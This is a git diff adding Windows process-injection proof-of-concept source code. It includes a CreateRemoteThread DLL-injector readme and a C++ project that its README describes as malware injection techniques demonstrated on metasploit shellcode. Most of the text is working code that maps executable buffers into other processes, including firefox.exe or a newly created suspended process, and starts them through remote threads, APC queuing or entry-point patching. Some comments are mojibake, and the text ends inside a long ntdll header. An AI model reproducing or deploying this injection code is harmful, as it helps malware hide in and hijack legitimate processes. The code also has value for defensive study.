+#pragma once + +#include "targetver.h" + +#include +#include +#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // ijЩ CString ąąÔ캯Ęý˝«ĘÇĎÔĘ˝µÄ + +#ifndef VC_EXTRALEAN +#define VC_EXTRALEAN // ´Ó Windows Í·ÎÄĽţÖĐĹĹłýĽ«ÉŮĘąÓõÄĐĹϢ +#endif + +#include +#include // MFC şËĐÄ×éĽţşÍ±ę׼×éĽţ +#include // MFC Ŕ©Őą +#ifndef _AFX_NO_OLE_SUPPORT +#include // MFC ¶Ô Internet Explorer 4 ą«ą˛żŘĽţµÄÖ§łÖ +#endif +#ifndef _AFX_NO_AFXCMN_SUPPORT +#include // MFC ¶Ô Windows ą«ą˛żŘĽţµÄÖ§łÖ +#endif // _AFX_NO_AFXCMN_SUPPORT + +#include + + + +// TODO: ÔÚ´Ë´¦ŇýÓĂłĚĐňĐčŇŞµÄĆäËűÍ·ÎÄĽţ diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/targetver.h b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/targetver.h new file mode 100644 index 00000000..7a7d2c83 --- /dev/null +++ b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// °üŔ¨ SDKDDKVer.h ˝«¶¨ŇĺżÉÓõÄ×î¸ß°ć±ľµÄ Windows ƽ̨ˇŁ + +// ČçąűŇŞÎŞŇÔÇ°µÄ Windows ƽ̨ÉúłÉÓ¦ÓĂłĚĐňŁ¬Çë°üŔ¨ WinSDKVer.hŁ¬˛˘˝« +// WIN32_WINNT şęÉčÖĂÎŞŇŞÖ§łÖµÄƽ̨Ł¬Č»şóÔŮ°üŔ¨ SDKDDKVer.hˇŁ + +#include diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/ReadMe.txt b/Win32/Proof of Concepts/CreateRemoteThreadInjection/ReadMe.txt new file mode 100644 index 00000000..402f8354 --- /dev/null +++ b/Win32/Proof of Concepts/CreateRemoteThreadInjection/ReadMe.txt @@ -0,0 +1,7 @@ +32 bit process Inject The dll to 32 bit process +64 bit process Inject The dll to 64 bit process +sometimes you maybe fail to inject because cann't openprocess successful +and many safe software will protect it avoiding you to inject + + +support more OS. \ No newline at end of file diff --git a/Win32/Proof of Concepts/ExtraWindowInject/README.md b/Win32/Proof of Concepts/ExtraWindowInject/README.md new file mode 100644 index 00000000..efb48408 --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/README.md @@ -0,0 +1,13 @@ +# inject_shellcode +Small compendium of injection techniques commonly used in malware demonstrated on metasploit-generated shellcode
+ +Various objects of injection:
++ existing process (found by name) ++ newly created process + +Demonstrated methods:
++ Running shellcode in a new thread ++ Adding shellcode into existing thread (using NtQueueApcThread) ++ Patching Entry Point of the process ++ Patching context of the process ++ Injecting into Tray Window (using SetWindowLong) diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/CMakeLists.txt b/Win32/Proof of Concepts/ExtraWindowInject/src/CMakeLists.txt new file mode 100644 index 00000000..522158ee --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/CMakeLists.txt @@ -0,0 +1,34 @@ +cmake_minimum_required (VERSION 2.8) +project (Injections) + +add_definitions(-DUNICODE -D_UNICODE) + +set (srcs + main.cpp + window_long_inject.cpp + sysutil.cpp + pe_hdrs_helper.cpp +) + +set (hdrs + main.h + ntddk.h + ntdll_undoc.h + kernel32_undoc.h + map_buffer_into_process.h + target_util.h + payload.h + createproc.h + add_thread.h + add_apc.h + patch_ep.h + patch_context.h + window_long_inject.h + enumproc.h + sysutil.h + pe_hdrs_helper.h +) + +add_executable (Injections ${hdrs} ${srcs}) + +INSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} ) diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/add_apc.h b/Win32/Proof of Concepts/ExtraWindowInject/src/add_apc.h new file mode 100644 index 00000000..f579be31 --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/add_apc.h @@ -0,0 +1,21 @@ +#pragma once +#include +#include "ntdll_undoc.h" + +bool add_shellcode_to_apc(HANDLE hThread, LPVOID remote_shellcode_ptr) +{ +#if defined(_WIN64) + printf("[ERROR] 64bit version of this method is not implemented!\n"); + return false; +#else + printf("Adding shellcode to the queue\n"); + NTSTATUS status = NULL; + + if ((status = NtQueueApcThread(hThread, remote_shellcode_ptr, 0, 0, 0)) != STATUS_SUCCESS) + { + printf("[ERROR] NtQueueApcThread failed, status : %x\n", status); + return false; + } + return true; +#endif +} diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/add_thread.h b/Win32/Proof of Concepts/ExtraWindowInject/src/add_thread.h new file mode 100644 index 00000000..61332211 --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/add_thread.h @@ -0,0 +1,89 @@ +#pragma once +#include +#include "ntddk.h" +#include "ntdll_undoc.h" + +typedef enum { + usingRandomMethod, + usingCreateRemoteThread, + usingZwCreateThreadEx, + usingRtlCreateUserThread, + CREATION_METHODS_SIZE +} THREAD_CREATION_METHOD; + +bool run_shellcode_in_new_thread1(HANDLE hProcess, LPVOID remote_shellcode_ptr) +{ + NTSTATUS status = NULL; + //create a new thread for the injected code: + LPTHREAD_START_ROUTINE routine = (LPTHREAD_START_ROUTINE) remote_shellcode_ptr; + + DWORD threadId = NULL; + HANDLE hMyThread = NULL; + if ((hMyThread = CreateRemoteThread(hProcess, NULL, NULL, routine, NULL, CREATE_SUSPENDED, &threadId)) == NULL) { + printf("[ERROR] CreateRemoteThread failed, status : %x\n", GetLastError()); + return false; + } + printf("Created Thread, id = %x\n", threadId); + printf("Resuming added thread...\n"); + ResumeThread(hMyThread); //injected code + return true; +} + +bool run_shellcode_in_new_thread2(HANDLE hProcess, LPVOID remote_shellcode_ptr) +{ + NTSTATUS status = NULL; + HANDLE hMyThread = NULL; + //create a new thread for the injected code: + if ((status = ZwCreateThreadEx(&hMyThread, 0x1FFFFF, NULL, hProcess, remote_shellcode_ptr, NULL, CREATE_SUSPENDED, 0, 0, 0, 0)) != STATUS_SUCCESS) + { + printf("[ERROR] ZwCreateThreadEx failed, status : %x\n", status); + return false; + } + printf("Created Thread, id = %x\n", GetThreadId(hMyThread)); + printf("Resuming added thread...\n"); + ResumeThread(hMyThread); //injected code + return true; +} + +bool run_shellcode_in_new_thread3(HANDLE hProcess, LPVOID remote_shellcode_ptr) +{ + NTSTATUS status = NULL; + HANDLE hMyThread = NULL; + CLIENT_ID cid; + //create a new thread for the injected code: + + if ((status = RtlCreateUserThread(hProcess, NULL, true, 0, 0, 0, remote_shellcode_ptr, NULL, &hMyThread, &cid)) != STATUS_SUCCESS) + { + printf("[ERROR] RtlCreateUserThread failed, status : %x\n", status); + return false; + } + printf("Created Thread, id = %x\n", GetThreadId(hMyThread)); + printf("Resuming added thread...\n"); + ResumeThread(hMyThread); //injected code + return true; +} + +//--- +bool run_shellcode_in_new_thread(HANDLE hProcess, LPVOID remote_shellcode_ptr, DWORD method) +{ + bool isSuccess = false; + DWORD max = CREATION_METHODS_SIZE - 1; + DWORD random = (GetTickCount() * 1000) % max + 1; + if (method > max || method <= usingRandomMethod) method = random; + + printf("Injecting by method, id = %x\n", method); + switch (method) { + case usingCreateRemoteThread: + isSuccess = run_shellcode_in_new_thread1(hProcess, remote_shellcode_ptr); + break; + case usingZwCreateThreadEx: + isSuccess = run_shellcode_in_new_thread2(hProcess, remote_shellcode_ptr); + break; + case usingRtlCreateUserThread: + isSuccess = run_shellcode_in_new_thread3(hProcess, remote_shellcode_ptr); + break; + default: + return false; + } + return isSuccess; +} diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/createproc.h b/Win32/Proof of Concepts/ExtraWindowInject/src/createproc.h new file mode 100644 index 00000000..d638129a --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/createproc.h @@ -0,0 +1,59 @@ +#pragma once +#include "kernel32_undoc.h" + +bool create_new_process1(PROCESS_INFORMATION &pi, LPWSTR cmdLine, LPWSTR startDir = NULL) +{ + STARTUPINFO si; + memset(&si, 0, sizeof(STARTUPINFO)); + si.cb = sizeof(STARTUPINFO); + + memset(&pi, 0, sizeof(PROCESS_INFORMATION)); + + if (!CreateProcess( + NULL, + cmdLine, + NULL, //lpProcessAttributes + NULL, //lpThreadAttributes + FALSE, //bInheritHandles + DETACHED_PROCESS|CREATE_SUSPENDED|CREATE_NO_WINDOW, //dwCreationFlags + NULL, //lpEnvironment + startDir, //lpCurrentDirectory + &si, //lpStartupInfo + &pi //lpProcessInformation + )) + { + printf("[ERROR] CreateProcess failed, Error = %x\n", GetLastError()); + return false; + } + return true; +} + +bool create_new_process2(PROCESS_INFORMATION &pi, LPWSTR cmdLine, LPWSTR startDir = NULL) +{ + STARTUPINFO si; + memset(&si, 0, sizeof(STARTUPINFO)); + si.cb = sizeof(STARTUPINFO); + + memset(&pi, 0, sizeof(PROCESS_INFORMATION)); + + HANDLE hToken = NULL; + HANDLE hNewToken = NULL; + if (!CreateProcessInternalW (hToken, + NULL, //lpApplicationName + (LPWSTR) cmdLine, //lpCommandLine + NULL, //lpProcessAttributes + NULL, //lpThreadAttributes + FALSE, //bInheritHandles + CREATE_SUSPENDED|DETACHED_PROCESS|CREATE_NO_WINDOW, //dwCreationFlags + NULL, //lpEnvironment + startDir, //lpCurrentDirectory + &si, //lpStartupInfo + &pi, //lpProcessInformation + &hNewToken + )) + { + printf("[ERROR] CreateProcessInternalW failed, Error = %x\n", GetLastError()); + return false; + } + return true; +} diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/enumproc.h b/Win32/Proof of Concepts/ExtraWindowInject/src/enumproc.h new file mode 100644 index 00000000..f68f995e --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/enumproc.h @@ -0,0 +1,55 @@ +#pragma once +#include + +bool get_process_name(IN HANDLE hProcess, OUT LPWSTR nameBuf, IN SIZE_T nameMax) +{ + HMODULE hMod; + DWORD cbNeeded; + + if (EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded)) { + GetModuleBaseName( hProcess, hMod, nameBuf, nameMax ); + return true; + } + return false; +} + +bool is_searched_process( DWORD processID, LPWSTR searchedName) +{ + HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID ); + if (hProcess == NULL) return false; + + WCHAR szProcessName[MAX_PATH]; + if (get_process_name(hProcess, szProcessName, MAX_PATH)) { + if (wcsstr(szProcessName, searchedName) != NULL) { + printf( "%S (PID: %u)\n", szProcessName, processID ); + CloseHandle(hProcess); + return true; + } + } + CloseHandle(hProcess); + return false; +} + +HANDLE find_running_process(LPWSTR searchedName) +{ + DWORD aProcesses[1024], cbNeeded, cProcesses; + unsigned int i; + + if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded)) { + return NULL; + } + + //calculate how many process identifiers were returned. + cProcesses = cbNeeded / sizeof(DWORD); + + //search handle to the process of defined name + for ( i = 0; i < cProcesses; i++ ) { + if( aProcesses[i] != 0 ) { + if (is_searched_process(aProcesses[i], searchedName)) { + HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, aProcesses[i]); + return hProcess; + } + } + } + return NULL; +} diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/kernel32_undoc.h b/Win32/Proof of Concepts/ExtraWindowInject/src/kernel32_undoc.h new file mode 100644 index 00000000..05e79724 --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/kernel32_undoc.h @@ -0,0 +1,32 @@ +#pragma once + +#include + +//don't forget to load functiond before use: +//load_kernel32_functions(); +// + +BOOL +(WINAPI *CreateProcessInternalW)(HANDLE hToken, + LPCWSTR lpApplicationName, + LPWSTR lpCommandLine, + LPSECURITY_ATTRIBUTES lpProcessAttributes, + LPSECURITY_ATTRIBUTES lpThreadAttributes, + BOOL bInheritHandles, + DWORD dwCreationFlags, + LPVOID lpEnvironment, + LPCWSTR lpCurrentDirectory, + LPSTARTUPINFOW lpStartupInfo, + LPPROCESS_INFORMATION lpProcessInformation, + PHANDLE hNewToken + ); + + +BOOL load_kernel32_functions() +{ + HMODULE hKernel32 = GetModuleHandleA("kernel32"); + CreateProcessInternalW = (BOOL (WINAPI *)(HANDLE, LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES,BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION, PHANDLE)) GetProcAddress(hKernel32,"CreateProcessInternalW"); + if (CreateProcessInternalW == NULL) return FALSE; + + return TRUE; +} diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/main.cpp b/Win32/Proof of Concepts/ExtraWindowInject/src/main.cpp new file mode 100644 index 00000000..8b50ad10 --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/main.cpp @@ -0,0 +1,127 @@ +#include +#include + +#include "main.h" +#include "createproc.h" +#include "enumproc.h" + +#include "payload.h" +#include "map_buffer_into_process.h" +#include "sysutil.h" + +typedef enum { + ADD_THREAD, + ADD_APC, + PATCH_EP, + PATCH_CONTEXT +} INJECTION_POINT; + +typedef enum { + EXISTING_PROC, + NEW_PROC, + TRAY_WINDOW +} TARGET_TYPE; + +using namespace std; + +bool inject_in_new_process(INJECTION_POINT mode) +{ + //get target path + WCHAR cmdLine[MAX_PATH]; + get_calc_path(cmdLine, MAX_PATH); + + WCHAR startDir[MAX_PATH]; + if (!get_dir(cmdLine, startDir)) { + GetSystemDirectory(startDir, MAX_PATH); + } + printf("Target: %S\n", cmdLine); + //create suspended process + PROCESS_INFORMATION pi; + memset(&pi, 0, sizeof(PROCESS_INFORMATION)); + if (create_new_process2(pi, cmdLine, startDir) == false) { + return false; + } + LPVOID remote_shellcode_ptr = map_buffer_into_process1(pi.hProcess, g_Shellcode, sizeof(g_Shellcode), PAGE_EXECUTE_READWRITE); + bool result = false; + switch (mode) { + case ADD_THREAD: + result = run_shellcode_in_new_thread(pi.hProcess, remote_shellcode_ptr, THREAD_CREATION_METHOD::usingRandomMethod); + // not neccessery to resume the main thread + break; + case ADD_APC: + result = add_shellcode_to_apc(pi.hThread, remote_shellcode_ptr); + ResumeThread(pi.hThread); //resume the main thread + break; + case PATCH_EP: + result = paste_shellcode_at_ep(pi.hProcess, remote_shellcode_ptr, pi.hThread); + ResumeThread(pi.hThread); //resume the main thread + break; + case PATCH_CONTEXT: + result = patch_context(pi.hThread, remote_shellcode_ptr); + ResumeThread(pi.hThread); //resume the main thread + break; + } + + //close handles + ZwClose(pi.hThread); + ZwClose(pi.hProcess); + return result; +} + +bool inject_in_existing_process() +{ + HANDLE hProcess = find_running_process(L"firefox.exe"); + LPVOID remote_shellcode_ptr = map_buffer_into_process1(hProcess, g_Shellcode, sizeof(g_Shellcode), PAGE_EXECUTE_READWRITE); + if (remote_shellcode_ptr == NULL) { + return false; + } + return run_shellcode_in_new_thread(hProcess, remote_shellcode_ptr, THREAD_CREATION_METHOD::usingRandomMethod); +} + +int main() +{ + if (load_ntdll_functions() == FALSE) { + printf("Failed to load NTDLL function\n"); + return (-1); + } + if (load_kernel32_functions() == FALSE) { + printf("Failed to load KERNEL32 function\n"); + return (-1); + } + + // compatibility checks: + if (!is_system32b()) { + printf("[WARNING] Your ystem is NOT 32 bit! Some of the methods may not work.\n"); + } + if (!is_compiled_32b()) { + printf("[WARNING] It is recommended to compile the loader as a 32 bit application!\n"); + } + + // choose the method: + TARGET_TYPE targetType = TARGET_TYPE::NEW_PROC; + switch (targetType) { + case TARGET_TYPE::TRAY_WINDOW: + if (!is_system32b()) { + printf("[ERROR] Not supported! Your system is NOT 32 bit!\n"); + break; + } + // this injection is more fragile, use shellcode that makes no assumptions about the context + if (inject_into_tray(g_Shellcode, sizeof(g_Shellcode))) { + printf("[SUCCESS] Code injected into tray window!\n"); + break; + } + case TARGET_TYPE::EXISTING_PROC: + if (inject_in_existing_process()) { + printf("[SUCCESS] Code injected into existing process!\n"); + break; + } + case TARGET_TYPE::NEW_PROC: + if (inject_in_new_process(INJECTION_POINT::PATCH_EP)) { + printf("[SUCCESS] Code injected into a new process!\n"); + break; + } + } + + system("pause"); + return 0; +} diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/main.h b/Win32/Proof of Concepts/ExtraWindowInject/src/main.h new file mode 100644 index 00000000..3ad89e41 --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/main.h @@ -0,0 +1,13 @@ +#pragma once + +#include "ntdll_undoc.h" +#include "kernel32_undoc.h" + +#include "target_util.h" + +//injection types: +#include "add_thread.h" +#include "add_apc.h" +#include "patch_ep.h" +#include "patch_context.h" +#include "window_long_inject.h" diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/map_buffer_into_process.h b/Win32/Proof of Concepts/ExtraWindowInject/src/map_buffer_into_process.h new file mode 100644 index 00000000..7fb3be5e --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/map_buffer_into_process.h @@ -0,0 +1,67 @@ +#pragma once +#include // for printf +#include +#include "ntddk.h" + +//set of alternative functions doing the same by a different way + +PVOID map_buffer_into_process1(HANDLE hProcess, LPBYTE buffer, SIZE_T buffer_size, DWORD protect = PAGE_EXECUTE_READWRITE) +{ + HANDLE hSection = NULL; + OBJECT_ATTRIBUTES hAttributes; + memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES)); + + LARGE_INTEGER maxSize; + maxSize.HighPart = 0; + maxSize.LowPart = static_cast(buffer_size); + NTSTATUS status = NULL; + if ((status = ZwCreateSection( &hSection, SECTION_ALL_ACCESS, NULL, &maxSize, protect, SEC_COMMIT, NULL)) != STATUS_SUCCESS) + { + printf("[ERROR] ZwCreateSection failed, status : %x\n", status); + return NULL; + } + + PVOID sectionBaseAddress = NULL; + ULONG viewSize = 0; + SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE + + // map the section in context of current process: + if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), §ionBaseAddress, NULL, NULL, NULL, &viewSize, inheritDisposition, NULL, protect)) != STATUS_SUCCESS) + { + printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status); + return NULL; + } + printf("Section BaseAddress: %p\n", sectionBaseAddress); + + memcpy (sectionBaseAddress, buffer, buffer_size); + printf("Buffer copied!\n"); + + //map the new section into context of opened process + PVOID sectionBaseAddress2 = NULL; + if ((status = NtMapViewOfSection(hSection, hProcess, §ionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, protect)) != STATUS_SUCCESS) + { + printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status); + return NULL; + } + + //unmap from the context of current process + ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress); + ZwClose(hSection); + + printf("Section mapped at address: %p\n", sectionBaseAddress2); + return sectionBaseAddress2; +} + +LPVOID map_buffer_into_process2(HANDLE hProcess, LPBYTE buffer, SIZE_T buffer_size, DWORD protect = PAGE_EXECUTE_READWRITE) +{ + LPVOID remoteAddress = VirtualAllocEx(hProcess, NULL, buffer_size, MEM_COMMIT | MEM_RESERVE, protect); + if (remoteAddress == NULL) { + printf("Could not allocate memory in the remote process\n"); + return NULL; + } + if (!WriteProcessMemory(hProcess, remoteAddress, buffer, buffer_size, NULL)) { + VirtualFreeEx(hProcess,remoteAddress, buffer_size, MEM_FREE); + return NULL; + } + return remoteAddress; +} diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/ntddk.h b/Win32/Proof of Concepts/ExtraWindowInject/src/ntddk.h new file mode 100644 index 00000000..c6338e9b --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/ntddk.h @@ -0,0 +1,4292 @@ +#ifndef __NTDLL_H__ +#define __NTDLL_H__ + +#ifdef __cplusplus +extern "C" { +#endif +#include + +#ifdef _NTDDK_ +#error This header cannot be compiled together with NTDDK +#endif + + +#ifndef _NTDLL_SELF_ // Auto-insert the library +#pragma comment(lib, "Ntdll.lib") +#endif + +#pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union + +#pragma warning(push) +#pragma warning(disable:4005) +#include +#pragma warning(pop) + +//------------------------------------------------------------------------------ +// Defines for NTSTATUS + +typedef long NTSTATUS; + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) +#endif + +#ifndef STATUS_SUCCESS +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) +#endif + +#ifndef STATUS_UNSUCCESSFUL +#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L) +#endif + +#ifndef ASSERT +#ifdef _DEBUG +#define ASSERT(x) assert(x) +#else +#define ASSERT(x) /* x */ +#endif +#endif + +//------------------------------------------------------------------------------ +// Structures + +typedef enum _EVENT_TYPE +{ + NotificationEvent, + SynchronizationEvent + +} EVENT_TYPE; + +// +// ANSI strings are counted 8-bit character strings. If they are +// NULL terminated, Length does not include trailing NULL. +// + +#ifndef _NTSECAPI_ +typedef struct _STRING +{ + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; + +} STRING, *PSTRING; + +// +// Unicode strings are counted 16-bit character strings. If they are +// NULL terminated, Length does not include trailing NULL. +// + +typedef struct _UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; + +} UNICODE_STRING, *PUNICODE_STRING; +#endif // _NTSECAPI_ + +typedef STRING ANSI_STRING; +typedef PSTRING PANSI_STRING; + +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; + +typedef const UNICODE_STRING *PCUNICODE_STRING; + +#define UNICODE_NULL ((WCHAR)0) // winnt + +// +// Valid values for the Attributes field +// + +#ifndef OBJ_CASE_INSENSITIVE +#define OBJ_INHERIT 0x00000002L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_VALID_ATTRIBUTES 0x000007F2L + +// +// Object Attributes structure +// + +typedef struct _OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR + PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE + +} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; +#endif // OBJ_CASE_INSENSITIVE + +// +// IO_STATUS_BLOCK +// + +typedef struct _IO_STATUS_BLOCK +{ + union + { + NTSTATUS Status; + PVOID Pointer; + }; + + ULONG_PTR Information; + +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +// +// ClientId +// + +typedef struct _CLIENT_ID +{ + HANDLE UniqueProcess; + HANDLE UniqueThread; + +} CLIENT_ID, *PCLIENT_ID; + + +// +// CURDIR structure +// + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; + +} CURDIR, *PCURDIR; + + +//------------------------------------------------------------------------------ +// Macros + +// INIT_UNICODE_STRING is a replacement of RtlInitUnicodeString +#ifndef INIT_UNICODE_STRING +#define INIT_UNICODE_STRING(us, wch) \ + us.MaximumLength = (USHORT)sizeof(wch); \ + us.Length = (USHORT)(wcslen(wch) * sizeof(WCHAR)); \ + us.Buffer = wch +#endif + + +#ifndef InitializeObjectAttributes +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } +#endif + + +#ifndef InitializePortHeader +#define InitializeMessageHeader( ph, l, t ) { \ + (ph)->TotalLength = (USHORT)(l); \ + (ph)->DataLength = (USHORT)(l - sizeof(PORT_MESSAGE)); \ + (ph)->Type = (USHORT)(t); \ + (ph)->VirtualRangesOffset = 0; \ + } +#endif + +//----------------------------------------------------------------------------- +// Image functions + +NTSYSAPI +PVOID +NTAPI +RtlImageNtHeader ( + IN PVOID BaseAddress + ); + +NTSYSAPI +PVOID +NTAPI +RtlImageDirectoryEntryToData ( + IN PVOID Base, + IN BOOLEAN MappedAsImage, + IN USHORT DirectoryEntry, + OUT PULONG Size + ); + +//----------------------------------------------------------------------------- +// Unicode string functions + +NTSYSAPI +NTSTATUS +NTAPI +RtlStringFromGUID( + IN REFGUID Guid, + OUT PUNICODE_STRING GuidString + ); + + +NTSYSAPI +VOID +NTAPI +RtlInitUnicodeString( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateUnicodeString( + OUT PUNICODE_STRING DestinationString, + IN PCWSTR SourceString + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateUnicodeStringFromAsciiz( + OUT PUNICODE_STRING Destination, + IN PCSTR Source + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlPrefixUnicodeString ( + IN PUNICODE_STRING String1, + IN PUNICODE_STRING String2, + IN BOOLEAN CaseInSensitive + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlDuplicateUnicodeString( + IN BOOLEAN AllocateNew, + IN PUNICODE_STRING SourceString, + OUT PUNICODE_STRING TargetString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendUnicodeToString ( + PUNICODE_STRING Destination, + PCWSTR Source + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendUnicodeStringToString( + IN OUT PUNICODE_STRING Destination, + IN PUNICODE_STRING Source + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToInteger ( + IN PUNICODE_STRING String, + IN ULONG Base OPTIONAL, + OUT PULONG Value + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlIntegerToUnicodeString ( + IN ULONG Value, + IN ULONG Base OPTIONAL, + IN OUT PUNICODE_STRING String + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlGUIDFromString( + IN PUNICODE_STRING GuidString, + OUT GUID *Guid + ); + + +NTSYSAPI +LONG +NTAPI +RtlCompareUnicodeString ( + IN PUNICODE_STRING String1, + IN PUNICODE_STRING String2, + IN BOOLEAN CaseInSensitive + ); + + +NTSYSAPI +VOID +NTAPI +RtlCopyUnicodeString( + OUT PUNICODE_STRING DestinationString, + IN PUNICODE_STRING SourceString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeString ( + OUT PUNICODE_STRING DestinationString, + IN PUNICODE_STRING SourceString, + IN BOOLEAN AllocateDestinationString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlDowncaseUnicodeString ( + OUT PUNICODE_STRING DestinationString, + IN PUNICODE_STRING SourceString, + IN BOOLEAN AllocateDestinationString + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualUnicodeString ( + IN PUNICODE_STRING String1, + IN PUNICODE_STRING String2, + IN BOOLEAN CaseInSensitive + ); + + +NTSYSAPI +VOID +NTAPI +RtlFreeUnicodeString( + IN PUNICODE_STRING UnicodeString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAnsiStringToUnicodeString ( + OUT PUNICODE_STRING DestinationString, + IN PANSI_STRING SourceString, + IN BOOLEAN AllocateDestinationString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToAnsiString ( + OUT PANSI_STRING DestinationString, + IN PUNICODE_STRING SourceString, + IN BOOLEAN AllocateDestinationString + ); + + +NTSYSAPI +VOID +NTAPI +RtlInitAnsiString ( + OUT PANSI_STRING DestinationString, + IN PCHAR SourceString + ); + + +NTSYSAPI +VOID +NTAPI +RtlFreeAnsiString ( + IN PANSI_STRING AnsiString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlFormatCurrentUserKeyPath( + OUT PUNICODE_STRING CurrentUserKeyPath + ); + + +NTSYSAPI +VOID +NTAPI +RtlRaiseStatus ( + IN NTSTATUS Status + ); + + +NTSYSAPI +VOID +NTAPI +DbgBreakPoint( + VOID + ); + + +NTSYSAPI +ULONG +_cdecl +DbgPrint ( + PCH Format, + ... + ); + + +NTSYSAPI +ULONG +NTAPI +RtlRandom( + IN OUT PULONG Seed + ); + +//----------------------------------------------------------------------------- +// Critical section functions + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + + +NTSYSAPI +BOOL +NTAPI +RtlTryEnterCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlEnterCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlLeaveCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +//----------------------------------------------------------------------------- +// Object functions + +// +// Object Manager Directory Specific Access Rights. +// + +#ifndef DIRECTORY_QUERY +#define DIRECTORY_QUERY (0x0001) +#define DIRECTORY_TRAVERSE (0x0002) +#define DIRECTORY_CREATE_OBJECT (0x0004) +#define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) +#define DIRECTORY_ALL_ACCESS 